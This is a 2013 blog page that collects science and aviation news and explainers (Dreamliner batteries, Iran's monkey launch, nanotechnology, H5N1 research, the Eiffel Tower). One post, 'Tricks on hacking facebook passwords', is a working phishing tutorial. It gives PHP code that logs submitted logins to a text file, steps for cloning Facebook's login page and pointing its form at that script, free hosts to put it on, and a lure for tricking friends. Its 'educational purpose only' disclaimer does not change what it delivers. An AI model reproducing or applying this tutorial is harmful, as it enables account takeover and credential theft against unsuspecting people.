Battery not the issue with dreamliners

Airline safety inspectors have found no faults with the battery used on Boeing's 787 Dreamliner.

2000 year-old shipwreck containing natural medicines discovered

Archeologists discovered a wooden box full of medicine in a 2000 year-old sunken ship off the coast of Tuscany.

दृष्टिबिहीनहरुलाई कृतिम आँखा

बिज्ञान र प्रबिधिले यसरी फड्को मरिराखेको छ कि अहिले चस्मा लगाउनेहरुको लागि दृष्टि सुधार्ने लेजर अपरेसन (lasrik eye operation) प्रबिधि त काठमांडौको तिलगंगा आँखा अस्पतालमा सुरु भईसकेको हो।

Iran launches a monkey into space

Iran says it has successfully sent a monkey into space. The primate travelled in a Pishgam rocket, which reached an altitude of some 120km (75 miles) for a sub-orbital flight before returning its shipment intact.

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Thursday, January 31, 2013

The ultimate self driving machine

31 January 2013

Self-driving cars may seem like science fiction, but most of the technology already exists. Indeed, over the past century we’ve gradually ceded our driving duties to automated systems.

The next generation of gearheads won’t obsess over horsepower and torque; they’ll focus on things like radar range, communication latency, and pixel resolution. Here’s a look at the technology that will power the autonomous cars of the near future.



In the picture:

1 Radar
High-end cars already bristle with radar, which can track nearby objects. For instance, Mercedes’ Distronic Plus, an accident-prevention system, includes units on the rear bumper that trigger an alert when they detect something in the car’s blind spot.

2 Lane-keeping
Windshield-mounted cameras recognize lane markings by spotting the contrast between the road surface and the boundary lines. If the vehicle leaves its lane unintentionally, brief vibrations of the steering wheel alert the driver.

3 LIDAR
Google employs Velodyne’s rooftop Light Detection and Ranging system, which uses 64 lasers, spinning at upwards of 900 rpm, to generate a point cloud that gives the car a 360-degree view.

4 Infrared Camera
Mercedes’ Night View assist uses two headlamps to beam invisible, nonreflective infrared light onto the road ahead. A windshield-mounted camera detects the IR signature and shows the illuminated image (with hazards highlighted) on the dashboard display.

5 Stereo Vision
Mercedes’ prototype system uses two windshield-mounted cameras to build a real-time 3-D image of the road ahead, spotting potential hazards like pedestrians and predicting where they are headed.

6 GPS/Inertial Measurement
A self-driver has to know where it’s going. Google uses a positioning system from Applanix, as well as its own mapping and GPS tech.

7 Wheel Encoder
Wheel-mounted sensors measure the velocity of the Google car as it maneuvers through traffic.

Source: wired.com

Mind-Blowing Giant Rock Naturally Finds Balance

 
There are certain natural occurrences and organic structures in the world that leave us all scratching our heads. One such natural wonder is Kummakivi, a geological formation found in the dense forests of Finland. The mystifying sight is that of a giant rock performing an unbelievable balancing act on a seemingly smooth, curved mound. There is still no scientific explanation for how the rock, whose given name translates as “strange rock” in Finnish, has wound up in such a perplexing position, but doesn’t it look amazing?




Wednesday, January 30, 2013

2000 year-old shipwreck containing natural medicines discovered

30 January, 2013

Once upon a time, people used plants for healing and it wasn't referred to as “alternative”. Back then, “traditional” medicine referred to that which had been around the longest, which was healing based on the use of plants and nature. Now, things have changed and we occasionally need a reminder that nature has been providing medicine for millennia and can still be trusted to provide it today. One of those reminders came  just a couple years ago when archaeologists discovered a wooden box full of medicine in a 2,000 year-old sunken ship off the coast of Tuscany.

The ship was believed to have sank around 130 B.C., well over 2,000 years ago. It was transporting wine, glassware, lams, and ceramics. It isn’t clear where the ship originated or what its final destination was, but we do know there was likely a healer on board.


Inside a wooden box, preserved deep under the sea, was a collection of pills. Using DNA sequencing, scientists were able to determine what was inside these pills, and it wasn’t some lab-created, branded pharmaceuticals. The pills contained all natural plants and materials including crushed celery, onions, carrots, cabbage, alfalfa, chestnuts, radish, yarrow, parsley, nasturtium, hibiscus, and clay. Also within the box was a mortar and pestle, likely used to crush the plants and herbs for the medicinal preparations.



The finding marks the oldest known remains of ancient medicines. Dr. Alain Touwaide from the Smithsonian Conservation Biology Institute in Washington D.C. says that the remedies are those documented in Ancient Greek texts, which were later modeled by Ancient Romans—both of whom can trace their medical practices to Africa, the ‘true birthplace of medicine’.

More than likely, the researchers say, the medicine was used to treat general malaise and those digestive complaints common with sailors on the high seas. To this day, many of the components found within these ancient pills are still used to treat modern ailments—including clay for upset stomachs, celery for rheumatism, and onion for infections.

There are people who would argue that the life expectancy of a person in these ancient times was dramatically less than a person today, and that their herbal medicines weren’t doing anyone any favors. But, this is a narrow-view, failing to look at the shortcomings of sanitation and the spread of disease back then. Now, for instance, we don’t live with open sewage and we all know to cook our foods to a proper temperature.

There are commendable advances that have taken place over the past few thousand years, to be sure. Better housing, more sound infrastructure, and cleaner living in general are just a few. But, there’s a chance we could learn something from our predecessors—namely, that some things should not be forsaken or left behind in the name of advancement; that some things, including natural healing, truly are timeless.





By Elizabeth Renter
Myscienceacademy.org


Tuesday, January 29, 2013

Introduction to Nanotechnology


There's an unprecedented multidisciplinary convergence of scientists dedicated to the study of a world so small, we can't see it -- even with a light microscope. That world is the field of nanotechnology, the realm of atoms and nanostructures.Nanotechnology i­s so new, no one is really sure what will come of it. Even so, predictions range from the ability to reproduce things like diamonds and food to the world being devoured by self-replicating nano-robots.

In order to understand the unusual world of nanotechnology, we need to get an idea of the units of measure involved. A centimeter is one-hundredth of a meter, a millimeter is one-thousandth of a meter, and a micrometer is one-millionth of a meter, but all of these are still huge compared to the nanoscale. A nanometer (nm) is one-billionth of a meter, smaller than the wavelength of visible light and a hundred-thousandth the width of a human hair [source: Berkeley Lab].

As small as a nanometer is, it's still large compared to the atomic scale. An atom has a diameter of about 0.1 nm. An atom's nucleus is much smaller -- about 0.00001 nm. Atoms are the building blocks for all matter in our universe. You and everything around you are made of atoms. Nature has perfected the science of manufacturing matter molecularly. For instance, our bodies are assembled in a specific manner from millions of living cells. Cells are nature's nanomachines. At the atomic scale, elements are at their most basic level. On the nanoscale, we can potentially put these atoms together to make almost anything.

In a lecture called "Small Wonders:The World of Nanoscience," Nobel Prize winner Dr. Horst Störmer said that the nanoscale is more interesting than the atomic scale because the nanoscale is the first point where we can assemble something -- it's not until we start putting atoms together that we can make anything useful.

In this article, we'll learn about what nanotechnology means today and what the future of nanotechnology may hold. We'll also look at the potential risks that come with working at the nanoscale.


The World of Nanotechnology

Experts sometimes disagree about what constitutes the nanoscale, but in general, you can think of nanotechnology dealing with anything measuring between 1 and 100 nm. Larger than that is the microscale, and smaller than that is the atomic scale.

Nanotechnology is rapidly becoming an interdisciplinary field. Biologists, chemists, physicists and engineers are all involved in the study of substances at the nanoscale. Dr. Störmer hopes that the different disciplines develop a common language and communicate with one another [source: Störmer]. Only then, he says, can we effectively teach nanoscience since you can't understand the world of nanotechnology without a solid background in multiple sciences.

One of the exciting and challenging aspects of the nanoscale is the role that quantum mechanics plays in it. The rules of quantum mechanics are very different from classical physics, ­which means that the behavior of substances at the nanoscale can sometimes contradict common sense by behaving erratically. You can't walk up to a wall and immediately teleport to the other side of it, but at the nanoscale an electron can -- it's called electron tunneling. Substances that are insulators, meaning they can't carry an electric charge, in bulk form might become semiconductors when reduced to the nanoscale. Melting points can change due to an increase in surface area. Much of nanoscience requires that you forget what you know and start learning all over again.

So what does this all mean? Right now, it means that scientists are experimenting with substances at the nanoscale to learn about their properties and how we might be able to take advantage of them in various applications. Engineers are trying to use nano-size wires to create smaller, more powerful microprocessors. Doctors are searching for ways to use nanoparticles in medical applications. Still, we've got a long way to go before nanotechnology dominates the technology and medical markets.


Nanowires and Carbon Nanotubes

Currently, scientists find two nano-size structures of particular interest: nanowires and carbon nanotubes. Nanowires are wires with a very small diameter, sometimes as small as 1 nanometer. Scientists hope to use them to build tiny transistors for computer chips and other electronic devices. In the last couple of years, carbon nanotubes have overshadowed nanowires. We're still learning about these structures, but what we've learned so far is very exciting.

A carbon nanotube is a nano-size cylinder of carbon atoms. Imagine a sheet of carbon atoms, which would look like a sheet of hexagons. If you roll that sheet into a tube, you'd have a carbon nanotube. Carbon nanotube properties depend on how you roll the sheet. In other words, even though all carbon nanotubes are made of carbon, they can be very different from one another based on how you align the individual atoms.

With the right arrangement of atoms, you can create a carbon nanotube that's hundreds of times stronger than steel, but six times lighter [source: The Ecologist]. Engineers plan to make building material out of carbon nanotubes, particularly for things like cars and airplanes. Lighter vehicles would mean better fuel efficiency, and the added strength translates to increased passenger safety.

Carbon nanotubes can also be effective semiconductors with the right arrangement of atoms. Scientists are still working on finding ways to make carbon nanotubes a realistic option for transistors in microprocessors and other electronics.


Products with Nanotechnology

You might be surprised to find out how many products on the market are already benefiting from nanotechnology.

Sunscreen - Many sunscreens contain nanoparticles of zinc oxide or titanium oxide. Older sunscreen formulas use larger particles, which is what gives most sunscreens their whitish color. Smaller particles are less visible, meaning that when you rub the sunscreen into your skin, it doesn't give you a whitish tinge.

Self-cleaning glass - A company called Pilkington offers a product they call Activ Glass, which uses nanoparticles to make the glassphotocatalytic and hydrophilic. The photocatalytic effect means that when UV radiation from light hits the glass, nanoparticles become energized and begin to break down and loosen organic molecules on the glass (in other words, dirt). Hydrophilic means that when water makes contact with the glass, it spreads across the glass evenly, which helps wash the glass clean.

Clothing - Scientists are using nanoparticles to enhance your clothing. By coating fabrics with a thin layer of zinc oxide nanoparticles, manufacturers can create clothes that give better protection from UV radiation. Some clothes have nanoparticles in the form of little hairs or whiskers that help repel water and other materials, making the clothing stain-resistant.

Scratch-resistant coatings - Engineers discovered that adding aluminum silicate nanoparticles to scratch-resistant polymer coatings made the coatings more effective, increasing resistance to chipping and scratching. Scratch-resistant coatings are common on everything from cars to eyeglass lenses.

Antimicrobial bandages - Scientist Robert Burrell created a process to manufacture antibacterial bandages using nanoparticles of silver. Silver ions block microbes' cellular respiration [source:Burnsurgery.org]. In other words, silver smothers harmful cells, killing them.
[source: The Ecologist]

New products incorporating nanotechnology are coming out every day. Wrinkle-resistant fabrics, deep-penetrating cosmetics, liquid crystal displays (LCD) and other conveniences using nanotechnology are on the market. Before long, we'll see dozens of other products that take advantage of nanotechnology ranging from Intel microprocessors to bio-nanobatteries, capacitors only a few nanometers thick. While this is exciting, it's only the tip of the iceberg as far as how nanotechnology may impact us in the future.


The Future of Nanotechnology

In the world of "Star Trek," machines called replicators can produce practically any physical object, from weapons to a steaming cup of Earl Grey tea. Long considered to be exclusively the product of science fiction, today some people believe replicators are a very real possibility. They call it molecular manufacturing, and if it ever does become a reality, it could drastically change the world.

Atoms and molecules stick together because they have complementary shapes that lock together, or charges that attract. Just like with magnets, a positively charged atom will stick to a negatively charged atom. As millions of these atoms are pieced together by nanomachines, a specific product will begin to take shape. The goal of molecular manufacturing is to manipulate atoms individually and place them in a pattern to produce a desired structure.

The first step would be to develop nanoscopic machines, called assemblers, that scientists can program to manipulate atoms and molecules at will. Rice University Professor Richard Smalley points out that it would take a single nanoscopic machine millions of years to assemble a meaningful amount of material. In order for molecular manufacturing to be practical, you would need trillions of assemblers working together simultaneously. Eric Drexler believes that assemblers could first replicate themselves, building other assemblers. Each generation would build another, resulting in exponential growth until there are enough assemblers to produce objects [source: Ray Kurzweil].


Assemblers might have moving parts like the nanogears in this concept drawing.

Trillions of assemblers and replicators could fill an area smaller than a cubic millimeter, and could still be too small for us to see with the naked eye. Assemblers and replicators could work together to automatically construct products, and could eventually replace all traditional labor methods. This could vastly decrease manufacturing costs, thereby making consumer goods plentiful, cheaper and stronger. Eventually, we could be able to replicate anything, including diamonds, water and food. Famine could be eradicated by machines that fabricate foods to feed the hungry.

Nanotechnology may have its biggest impact on the medical industry. Patients will drink fluids containing nanorobots programmed to attack and reconstruct the molecular structure of cancer cells and viruses. There's even speculation that nanorobots could slow or reverse the aging process, and life expectancy could increase significantly. Nanorobots could also be programmed to perform delicate surgeries -- suchnanosurgeons could work at a level a thousand times more precise than the sharpest scalpel [source:International Journal of Surgery]. By working on such a small scale, a nanorobot could operate without leaving the scars that conventional surgery does. Additionally, nanorobots could change your physical appearance. They could be programmed to perform cosmetic surgery, rearranging your atoms to change your ears, nose, eye color or any other physical feature you wish to alter.

Nanotechnology has the potential to have a positive effect on the environment. For instance, scientists could program airborne nanorobots to rebuild the thinning ozone layer. Nanorobots could remove contaminants from water sources and clean up oil spills. Manufacturing materials using the bottom-upmethod of nanotechnology also creates less pollution than conventional manufacturing processes. Our dependence on non-renewable resources would diminish with nanotechnology. Cutting down trees, mining coal or drilling for oil may no longer be necessary -- nanomachines could produce those resources.

Many nanotechnology experts feel that these applications are well outside the realm of possibility, at least for the foreseeable future. They caution that the more exotic applications are only theoretical. Some worry that nanotechnology will end up like virtual reality -- in other words, the hype surrounding nanotechnology will continue to build until the limitations of the field become public knowledge, and then interest (and funding) will quickly dissipate.


Nanotechnology Challenges, Risks and Ethics

The most immediate challenge in nanotechnology is that we need to learn more about materials and their properties at the nanoscale. Universities and corporations across the world are rigorously studying how atoms fit together to form larger structures. We're still learning about how quantum mechanics impact substances at the nanoscale.

Because elements at the nanoscale behave differently than they do in their bulk form, there's a concern that some nanoparticles could be toxic. Some doctors worry that the nanoparticles are so small, that they could easily cross the blood-brain barrier, a membrane that protects the brain from harmful chemicals in the bloodstream. If we plan on using nanoparticles to coat everything from our clothing to our highways, we need to be sure that they won't poison us.

Closely related to the knowledge barrier is the technical barrier. In order for the incredible predictions regarding nanotechnology to come true, we have to find ways to mass produce nano-size products like transistors and nanowires. While we can use nanoparticles to build things like tennis rackets and make wrinkle-free fabrics, we can't make really complex microprocessor chips with nanowires yet.

There are some hefty social concerns about nanotechnology too. Nanotechnology may also allow us to create more powerful weapons, both lethal and non-lethal. Some organizations are concerned that we'll only get around to examining the ethical implications of nanotechnology in weaponry after these devices are built. They urge scientists and politicians to examine carefully all the possibilities of nanotechnology before designing increasingly powerful weapons.

If nanotechnology in medicine makes it possible for us to enhance ourselves physically, is that ethical? In theory, medical nanotechnology could make us smarter, stronger and give us other abilities ranging from rapid healing to night vision. Should we pursue such goals? Could we continue to call ourselves human, or would we become transhuman -- the next step on man's evolutionary path? Since almost every technology starts off as very expensive, would this mean we'd create two races of people -- a wealthy race of modified humans and a poorer population of unaltered people? We don't have answers to these questions, but several organizations are urging nanoscientists to consider these implications now, before it becomes too late.

Not all questions involve altering the human body -- some deal with the world of finance and economics. If molecular manufacturing becomes a reality, how will that impact the world's economy? Assuming we can build anything we need with the click of a button, what happens to all the manufacturing jobs? If you can create anything using a replicator, what happens to currency? Would we move to a completely electronic economy? Would we even need money?

Whether we'll actually need to answer all of these questions is a matter of debate. Many experts think that concerns like grey goo and transhumans are at best premature, and probably unnecessary. Even so, nanotechnology will definitely continue to impact us as we learn more about the enormous potential of the nanoscale.


Source: Kevin Bonsor and Jonathan Strickland ; Howstuffworks.com

Monday, January 28, 2013

Iran launches a monkey into space

28 January 2013


The Islamic Republic of Iran has sent a monkey into space aboard an indigenous biocapsule as a prelude to sending humans into space. The space capsule, code-named Pishgam (Pioneer), was launched on Monday on the auspicious birthday anniversary of Prophet Mohammad (PBUH). On January 15, the director of Iran Space Agency (ISA) Hamid Fazeli said because of biological similarities between humans and monkeys, the latter were selected for the space mission.


Fazeli further highlighted that the plan to send animals into the space is part of a broader project to send human beings on space missions. The ISA director stated that Iran's first manned mission to space would be launched within the next five to eight years. Elsewhere in his remarks, Fazeli said the indigenous Sharifsat satellite will be put into the orbit by the end of the current Iranian calendar year (ends on March 20, 2013).







Western nations have expressed concern that Iran's space programme is being used to develop long-range missiles.
Such missiles could potentially be used to carry nuclear warheads.
Iran denies it is seeking to develop nuclear weapons and insists its nuclear programme is solely for peaceful purposes.
Turtle and worms

Satellite technology expert Pat Norris told the BBC that Iran's claim to have sent a monkey into space was not a major advance on what its space programme had already achieved.




The monkey was sent up in a Kavoshgar rocket dubbed "Pishgam" (Pioneer)

The achievement was similar to launching a missile at 4,828km/h (3,000mph) and having its warhead survive the flight - something Iran had done in several tests in recent years, he noted.

However, the survival of the monkey, without incurring any injuries, would demonstrate that the acceleration and deceleration of the rocket were not too severe, Mr Norris added.

In 2010, Iran successfully sent a rat, turtle and worms into space. But an attempt to send a monkey up in a rocket failed in 2011.

President Mahmoud Ahmadinejad announced in 2010 that the country planned to send a man into space by 2019.

A domestically-made satellite was sent into orbit for the first time in 2009.

No fault found in batteries of B787 Dreamliners

28 January 2013
Airline safety inspectors have found no faults with the battery used on Boeing's 787 Dreamliner, Japan's transport ministry has said. The battery was initially considered the likely source of problems on 787s owned by two Japanese airlines.

It has raised fears that there will be no quick fix to a problem that meant all 50 787s in service were grounded. Attention has now shifted to the electrical system that monitors battery voltage, charging and temperature. Transport ministry official Shigeru Takano said "we have found no major quality or technical problem" with the lithium-ion batteries. Shares in GS Yuasa, which makes the batteries, jumped 5% on the news.
Battery taken from ANA Dreamliner earlier this week

"We are looking into affiliated parts makers," he said. "We are looking into possibilities."

The safety investigation started after one of the 787s operated by All Nippon Airways made an emergency landing in Japan when its main battery overheated. Earlier, a battery in a Japan Airlines 787 caught fire while parked at Boston's Logan International Airport. Zafar Khan, aviation analyst at Societe Generale, said: "The obvious implication is that it may prolong the grounding.

"If it's not the battery then we are back to the drawing board. We know it's an electrical - and not a structural - issue and that will be the focus for the inspectors. But there's a lot of cabling on these aircraft.

"'Fingers crossed'
Keith Hayward, head of research at the Royal Aeronautical Society, said that if the issue is no longer about replacing a faulty battery, it raised the prospect of Boeing having to do a major re-design.

"I think people had their fingers crossed that it was a battery fault... it looks more systemic and serious to me. I suspect it could be difficult to identify the cause," he said.

He added that aviation regulators will have to put the 787 through another airworthiness certification process, which itself could become a complicated and lengthy process depending on the final cause of the problem.

Two weeks ago the US Federal Aviation Administration said both batteries had leaked electrolyte fluid, and there had been smoke damage to parts of the aircraft.

The FAA said airlines must demonstrate battery safety before flights could resume, a statement that effectively meant airlines had to ground their 787s.

Boeing, which competes against Europe's Airbus, has halted 787 deliveries. Boeing has orders for more than 800 Dreamliners.

The 787 is the first airliner made mostly from lightweight composite materials, which increases an aircrafts fuel efficiency. It also relies on electronic systems rather than hydraulic or mechanical systems to a greater degree than any other airliner.



Compensation

Mr Khan said that most analysts had forecast that the 787 would be out of service for, perhaps, eight weeks at most. Beyond 10-12 weeks, and it could impact on Boeing's production line and future deliveries, he said.

"That raises questions of damages (to airlines) for late delivery and the leasing of alternative aircraft," he said.

Last week, analysts at Bernstein put the cost of fixing the Dreamliner at about $350m (£222m). Meanwhile, Jefferies estimated the likely cost at between $250m to $625m. But that was before the likely primary cause - the battery - was ruled out.

Depending on the cause of the problem, Boeing might be able to recoup any costs from suppliers. But analysts say that the longer the issue continues, the higher the risk for Boeing, suppliers, jobs, and investors.

On Wall Street, Boeing shares opened almost 1% down and are more than 4% lower since the issue came to light. "The amazing thing is that the share price has held up so well," said Mr Khan.

Source: BBC News

US to boost cyber defence

27 January 2013

The Pentagon will dramatically increase its cyber-security staff to counter threats against US government computer networks, according to media reports.
US Cyber Command, established three years ago, could grow as much as five-fold over the next few years.

The planned expansion comes amid a series of successful attacks, including a virus that wiped data from 30,000 computers at a Saudi oil firm.
Cyber Command currently has 900 staff members, both military and civilian.
Defence officials told the Washington Post, which first reported the staff increase, that the Pentagon had approved an expansion to 4,900 troops and civilians.
Another official told Reuters news agency that the force would be expanded significantly, though details were still being worked out.
The expansion comes at a time when the US military is balancing decreased budgets and a shift towards Asia and the Pacific.
According to reports, the plan calls for creating three types of forces under the Cyber Command: protecting computer systems that involve electrical grids and other kinds of infrastructure, offensive operations overseas as well as protection of the defence department's internal systems.
Outgoing Defence Secretary Leon Panetta has previously stressed the importance of the Pentagon's cyber-security efforts.
"We've got good people that are involved in it, but, very frankly," he said in November speech at a defence think tank, "if we're going to stay on the cutting edge of what's happening with regards to the changes that are occurring, we have got to invest more in that area."
Source: BBC World

Thursday, January 24, 2013

नेपाल वायुसेवा निगमलाई नयाँ जहाज किन्न कानुनी बाटो खुला

१७ माघ २०१३, काठमाण्डौं
 
नेपाल वायुसेवा निगमले पुरानै प्रक्रियाअनुसार एयरबसको जहाज किन्न सक्ने कानुनी बाटो खुलेको छ । खरिद प्रक्रिया रोक्न निर्देशन दिने तत्कालीन सार्वजनिक लेखा समितिको निर्णय नै गैरकानुनी भन्दै सर्वोच्च अदालतले गरेको फैसलाको पूर्णपाठ पाएपछि निगमलाई प्रक्रिया सुचारु गर्न सहज भएको हो ।

न्यायाधीशद्धय भरतराज उप्रेती र कल्याण श्रेष्ठको संयुक्त इजलासले वैशाख १२ मा गरेको फैसलाको पूर्णपाठ संस्कृति, पर्यटन, तथा नागरिक उडड्यन मन्त्रालयले यसै साता पाएको छ । मन्त्रालयले यसैलाई आधार मानेर पुरानै प्रक्रियाअनुसार जहाज खरिद प्रक्रिया अघि बढाउन सकिने बताएको खबर कारोबारलगायतका विभिन्न दैनिक पत्रिकाले छापेका छन् ।

निगम सञ्चालक समितिले मंगलबार र बुधबार यसको कानुनी पक्षबारे छलफलसमेत गरेको छ ।

‘सर्वोच्चको स्पष्ट फैसलाबाट हामी पुरानो एयरबस जहाज खरिद प्रक्रियामा अगाडी बढ्नसक्ने बाटो खुलेको छ,’ मन्त्रालयका सहसचिव तथा कानुन शाखा प्रमखु रञ्जनकृष्ण अर्यालले भने, ‘अझै केही छलफल गरी एयरबससँगको जहाज किन्ने प्रक्रिया टुंगो लगाइनेछ ।’

H5N1 influenza research moratorium ends

24 January 2013

A self-imposed moratorium by researchers on certain kinds of avian influenza experiments is lifting January 23.

In January 2012, influenza researchers imposed a halt on work that would make bird flu viruses that are easily transmissible in mammals. The moratorium came after controversy surrounded two scientific papers describing mutations in the H5N1 avian influenza virus; the mutations made the virus spread among ferrets via airborne droplets. The scientists chose to stop work until they could explain its benefits and safety to the public, and to give governments and funding agencies a chance to review policies surrounding the research. The halt was supposed to last 60 days, but has extended for a year due to the complicated issues surrounding the research.

Now, the same group of 40 researchers is declaring in a letter published online by both Nature and Science that the goals of the moratorium have been met and that work on the viruses may resume in countries with appropriate policies in place. The United States is not among those countries.


The researchers say they are confident that imposing multiple safety measures can prevent an accidental or malicious release of the virus. “There can never be zero risk,” said Yoshihiro Kawaoka of the University of Wisconsin–Madison and the University of Tokyo, but scientists can minimize the risks. Meanwhile, the virus continues to mutate in nature, and some of the mutations identified in the laboratory studies have already been found in wild H5N1 viruses. With resumption of the work, researchers say they can monitor which strains are developing dangerous mutations, identify new mutations and test vaccines and antiviral drugs. “We believe this research is important to pandemic preparedness,” Kawaoka said. He and Ron Fouchier, an influenza researcher from Erasmus Medical Center in Rotterdam, the Netherlands, led the research that originally touched off the controversy.

In that work, Fouchier’s group found that five to nine mutations could transform the H5N1 virus from one that affects birds to one that infects ferrets, which are popular stand-ins for people in flu research. Kawaoka’s group made similar discoveries using a hybrid of the avian influenza virus and a flu virus that infects people. A U.S. government advisory panel originally deemed both findings too dangerous to publish because of the fear that terrorist groups or rogue governments could use the information to develop biological weapons. The panel later reversed the decision and the papers were published last summer.

Although the United States is still working out its guidelines for the research, China, Canada and countries in the European Union have already decided to go ahead, reasoning that the potential benefits outweigh the risks. Fouchier defended the decision to go ahead without the largest funder of infectious disease research. “If this had been the Netherlands,” Fouchier asked, “would the U.S. wait?”

The United States is just weeks away from having its own guidelines for avian influenza research, said Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases. “We’re in the process of saying what we will fund or not fund.” The framework emerged from a meeting in December and public comment on the proposal that ended January 10. Final revisions and approval are under way, Fauci says.

Fauci stresses that the U.S. government is not holding researchers back from their work. “The government doesn’t have a moratorium,” he says. When the researchers’ moratorium lifts, NIH will evaluate proposals on a case-by-case basis, he says. When the moratorium went into effect, only four or five research groups were conducting studies aimed at discovering what it takes for bird viruses to morph into human flus. “This is really a small slice of research,” Fauci says.

Source: Tina Hesman Saey, ScienceNews.org

Eiffel Tower Facts

During the World's Fair in 1889, Contractor Gustave Eiffel introduced the Eiffel Tower. An engineer by training, Eiffel founded and developed a company specializing in metal structural work. He devoted the last thirty years of his life to his experimental research. His most popular achievement was the Eiffel Tower. Towering nearly 320 meters tall, and weighing 10,100 tons, the Eiffel tower stands both as a landmark, recognizable throughout the world as the icon of the city of Paris, and as a monumental example of materials' structure, properties and performance. The tower is composed of puddling iron, not steel as many of today's buildings. Total 7,000 metric tons of puddling iron, which were the precursor to construction steel, was used. Like most materials, the tower undergoes thermal expansion. Thermal expansion is when a material changes dimensions while it undergoes temperature changes. The tower expands and contracts 15 cm from the hottest to the coldest day.
 
  • Located on the Champ de Mars in Paris, France, the Eiffel Tower is one of the most well known structures in the world.
  • The Eiffel Tower was originally built as the entrance arch for the World's Fair in 1889.
  • It is named after Gustave Eiffel, whose company was in charge of the project.
  • The Eiffel Tower is 320 metres (1050 feet) in height and was the tallest man made structure in the world for 41 years before being surpassed by the Chrysler Building in New York.
  • The Eiffel Tower is made of iron and weighs around 10000 tonnes.
  • Around 50 tonnes of paint are added to the Eiffel Tower every 7 years to protect it from rust.
  • Despite its height, the Eiffel Tower was designed to be wind resistant, swaying only a few inches in the wind. It actually moves further when the iron on the sun facing side heats and expands, moving the top up to 7 inches (18 centimetres) away from the sun.
  • Temperature also alters the height of the Eiffel Tower by up to 6 inches (15 centimetres).
  • Millions of people climb the Eiffel Tower every year and it has had over 250 million visitors since its opening.
  • Visitors can climb up stairs to the first two levels or take a lift which also has access to the third and highest level.
  • Being so popular, the Eiffel Tower design has been recreated around the world, including the half scale replica at the Paris Las Vegas Hotel in Nevada, USA and the full scale Tokyo Tower in Japan.
  • Not everyone liked the Eiffel Tower when it was first built, with many criticizing its bold design.
  • The French name for the Eiffel Tower is La Tour Eiffel, it also has the nickname La dame de fer which means the iron lady.

Tuesday, January 22, 2013

Airbus Studying Battery Alternatives for its new A350

21st January, 2013

Airbus CEO Fabrice Bregier says the company has been studying alternatives to the lithium-ion batteries it plans to use on board the new Airbus A350, should the need arise. “Nothing prevents us from going back to a classical plan that we have been studying in parallel,” Bregier says.

Like Boeing with its 787, Airbus plans to use lithium-ion batteries for the A350. But Airbus is cooperating with a different supplier, French battery specialist Saft, and the batteries are used for fewer functions than on the 787. Consequently, they are less powerful. Boeing’s 787 batteries are delivered by Thales, with the cells subcontracted to GS Yuasa Corp., a Japanese company.

So far, Bregier sees no need to change the aircraft’s design and technology. But he says it would be possible to adjust the current system’s design while continuing to use lithium-ion batteries. Airbus would also be prepared to switch to an alternative solution without delaying the A350’s planned entry into service, Bregier says. In case of a full replacement, Airbus would “have all the time we need to do this on the A350 before first delivery,” he says.

Airbus already redesigned the current battery system about a year ago because of safety concerns. Airbus declined to elaborate on the change. The company also declined to say what an alternative system would look like if it returned to a more conventional solution.

Separately, the A350 aircraft zero has started its virtual first flight (VFF) campaign. Aircraft zero combines the iron bird – a test bench for electric, hydraulic and flight control systems – with a flight deck integration simulator. Airbus says aircraft zero has equipment that is fully representative of what will be used on the actual A350 first flight. The VFF tests are set to last several months.

Airbus says the A350’s first flight is planned “by the middle of this year.”

Credit: Airbus

By Jens Flottau
Aviation Week Magazine
AWIN First

Monday, January 21, 2013

Tricks on hacking facebook passwords

How to hack your friends' facebook password?

We will we use very popular method to hack facebook account password: phishing. This is one of the best method to hack facebook account password. This will work only if your friends don’t know about this method of hacking facebook. For this, we will need three files:

1.Php page
2.Fake facebook login page
3.Text file to store password



Create Php file
Follow the steps below for this:

Open notepad and copy this code:
header (‘Location: https://login.facebook.com/login.php’);
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($ handle, “\r\n”);
fclose($handle) ;
exit;?>

Now save this as phishing.php
Your php file is now created
If you don’t understand what this php file is doing you need to learn some basic of php. This php file will save information of victim in file password.txt .

Fake Facebook page
Now go to http://www.facebook.com and right click and then View Source. Copy source in notepad and save it as facebooklogin.html. Now open source code of this html file. We need to find the place where login code in facebook page is that redirects the users upon clicking on it. Now Press Crtl+F after opening source code and search for this code: action=anything
In this case we have this
action="https://login.facebook.com/login.php?" We replace that part with: action="phishing.php"
Save your facebooklogin.html file

Text file
Create a blank text file and name it password.txt
Now upload all the three files Facebooklogin.html, phishing.php, Password.txt in any free web hosting site directory like 100mb.com and now you can just check your fake facebook login page by going to http://yoursite.110mb.com/Facebooklogin.html for the fake login page. 

Just type some random user name and any password into the text box and then you will see in your file manager that a file called “Password.txt” is created in which the password is stored.
Alternative to 100mb.com, you may use the following free hosting sites:
http://www.justfree.com/
http://www.ripway.com/


Suppose you register with name nepalifacebook. Your link will behttp://www.nepalifacebook.100mb.com.  After uploading files, your phishing link will be http://www.nepalifacebook.100mb.com/facebooklogin.html. Send this link to your friends. If they login on your phising site, their password will be save at the server. You can trick your friend to login this fake facebook page by saying that it's nepali version of facebook- check it out, or in any way you like.

The purpose of this article is not to hack others facebook and cause them harm, but rather to get aware of such phisings and protect your facebook. Use this on your own responsibility for educational purpose only

Source: trickmilk.com

Sunday, January 20, 2013

How internet works?



 The internet is a world-wide network of computers linked together by telephone wires, satellite links and other means. For simplicity's sake we will say that all computers on the internet can be divided into two categories: servers and browsers.

 Servers are where most of the information on the internet "lives". These are specialised computers which store information, share information with other servers, and make this information available to the general public.

 Browsers are what people use to access the World Wide Web from any standard computer. Chances are, the browser you're using to view this page is either Netscape Navigator/Communicator or Microsoft Internet Explorer. These are by far the most popular browsers, but there are also a number of others in common use.

When you connect your computer to the internet, you are connecting to a special type of server which is provided and operated by your Internet Service Provider (ISP). The job of this "ISP Server" is to provide the link between your browser and the rest of the internet. A single ISP server handles the internet connections of many individual browsers - there may be thousands of other people connected to the same server that you are connected to right now.

 The following picture shows a small "slice" of the internet with several home computers connected to a server:


 ISP servers receive requests from browsers to view webpages, check email, etc. Of course each server can't hold all the information from the entire internet, so in order to provide browsers with the pages and files they ask for, ISP servers must connect to other internet servers. This brings us to the next common type of server: the "Host Server". Host servers are where websites "live". Every website in the world is located on a host server somewhere (for example, MediaCollege.Com is hosted on a server in Parsippany, New Jersy USA). The host server's job is to store information and make it available to other servers.

 The picture below show a slightly larger slice of the internet:

To view a web page from your browser, the following sequence happens:
